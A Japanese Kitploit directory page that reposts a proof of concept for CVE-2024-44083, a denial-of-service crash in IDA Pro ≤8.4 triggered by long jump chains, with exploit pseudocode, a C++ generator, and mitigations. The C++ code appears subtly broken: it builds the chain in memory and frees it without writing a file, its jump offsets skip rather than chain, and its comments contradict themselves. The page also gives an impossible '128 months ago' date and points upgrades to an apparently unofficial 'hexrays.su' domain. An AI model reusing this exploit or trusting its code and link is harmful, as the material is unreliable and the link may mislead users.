Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-44083 — CVE-2024-44083 の概念実証: IDA Pro ≤8.4 が過剰なジャンプチェーンによるスタックオーバーフローでクラッシュします。技術分析、再現コード、リバースエンジニアリングツールの緩和策を含みます。 | Kitploit
ツール/GitHubGitHub/dynamicx64/cve-2024-44083
脆弱性分析エクスプロイトリバースエンジニアリングファジングバイナリ解析学習と教育
GitHubdynamicx64/cve-2024-44083

CVE-2024-44083

CVE-2024-44083 の概念実証: IDA Pro ≤8.4 が過剰なジャンプチェーンによるスタックオーバーフローでクラッシュします。技術分析、再現コード、リバースエンジニアリングツールの緩和策を含みます。

リポジトリを見る
128ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-44083

オリジナルの PoC リポジトリは削除されてしまったので (github.com/Azvanzed/CVE-2024-44083、github.com/Azvanzed/IdaMeme)、ここに再掲します。仕組みを理解したい人や自分の環境でテストしたい人のために、作り直すことにしました。

IDA Pro ≤ 8.4 は、過剰なジャンプチェーンを含むバイナリを解析するとクラッシュします。

バグ

ida64.dll は、ジャンプチェーンを追跡する際にどこまで深く辿るかを制限していません。そのため、エントリポイントに到達するまで数千もの連結ジャンプを含むバイナリを解析すると、IDA は自滅します。

フィールド値
CVECVE-2024-44083
影響を受けるバージョンIDA Pro ≤ 8.4
コンポーネントida64.dll
CWECWE-770 (リソース枯渇)
影響クラッシュ (DoS)

仕組み

アイデアは単純です。ジャンプがさらに別のジャンプへと飛び続ける、ジャンプだらけのセクションを作るだけです。

root@kitploit:~
; pseudocode obviously

section .text

; thousands of these
jump_0:
    jmp jump_1
jump_1:
    jmp jump_2
jump_2:
    jmp jump_3
; ... keep going ...
jump_9999:
    jmp payload

payload:
    call _start    ; this creates the cross-reference that breaks things

_start:
    ; IDA tries to resolve all the jumps pointing here
    ; boom crash
    ret

IDA はこれらすべてのジャンプを追跡してクロスリファレンスを構築しようとしますが、数が多すぎるとそのまま諦めてクラッシュします。

自分で試す (例)

C++ で似たようなものを作りたい場合は、次のようにします:

root@kitploit:~

#include <windows.h>
#include <cstring>

// the idea is to generate a ton of jump instructions
// that chain together and eventually hit the entry point
void generate_jump_chain() {
    // allocate executable memory for our jump chain
    unsigned char* code = (unsigned char*)VirtualAlloc(
        NULL,
        10000 * 5 + 10,  // 10,000 jumps × 5 bytes + some extra
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    if (!code) return;
    
    int offset = 0;
    
    // create 10,000 chained jumps
    for (int i = 0; i < 10000; i++) {
        // write JMP rel32 instruction (E9 xx xx xx xx)
        code[offset] = 0xE9;  // JMP opcode
        
        // calculate relative offset to next jump (5 bytes ahead)
        int32_t rel = 5;
        
        // copy the 4-byte relative offset
        memcpy(&code[offset + 1], &rel, 4);
        
        offset += 5;
    }
    
    // last jump creates circular reference
    // jump back 5 bytes to create infinite loop
    code[offset] = 0xE9;
    int32_t rel = -5;
    memcpy(&code[offset + 1], &rel, 4);
    
    // you can also return a value to make it believeable
    offset += 5;
    code[offset] = 0xC3;  // ret
    
    // this is the pattern that crashes IDA:
    // 10,000 jumps → self-referential jump → IDA gets stuck
    // no depth limit in recursion → stack overflow → crash
    
    // cleanup
    VirtualFree(code, 0, MEM_RELEASE);
}

基本的には、連結された JMP 命令を大量に書き込んでいるだけです。IDA がそれを解析しようと賢く振る舞うと、スタック/メモリが尽きてしまいます。

修正方法

古い IDA を使い続けている場合:

  1. 怪しいファイルを開く前に自動解析を無効にする

    • ツールバーの黄/緑の丸いアイコンをクリックしてオフにする
    • または Options → General → Analysis で「Enabled」のチェックを外す
    • まず手動で調べて、安全そうなら再度有効にする
  2. 疑わしいセクションの解析を制限する

    • セクションを右クリック → Edit segment
    • コード解析を防ぐためにセグメントタイプまたは権限を変更する
    • 不要ならセグメントを丸ごと削除する

Hex-Rays が取るべき対策:

root@kitploit:~
// pseudocode

#define MAX_JUMP_DEPTH 1000

void analyze_jumps(address_t addr, int depth) {
    if (depth > MAX_JUMP_DEPTH) {
        warn("jump chain too deep. fail.");
        return;  // dont crash just stop
    }
    
    address_t target = get_jump_target(addr);
    if (target) {
        analyze_jumps(target, depth + 1);
    }
}

要するに、深さ制限を追加するだけです。

参照

  • NVD
  • hexrays.su <-- IDA をアップグレードするには

免責事項

教育目的のみです。悪用しないでください。

ツールをダウンロード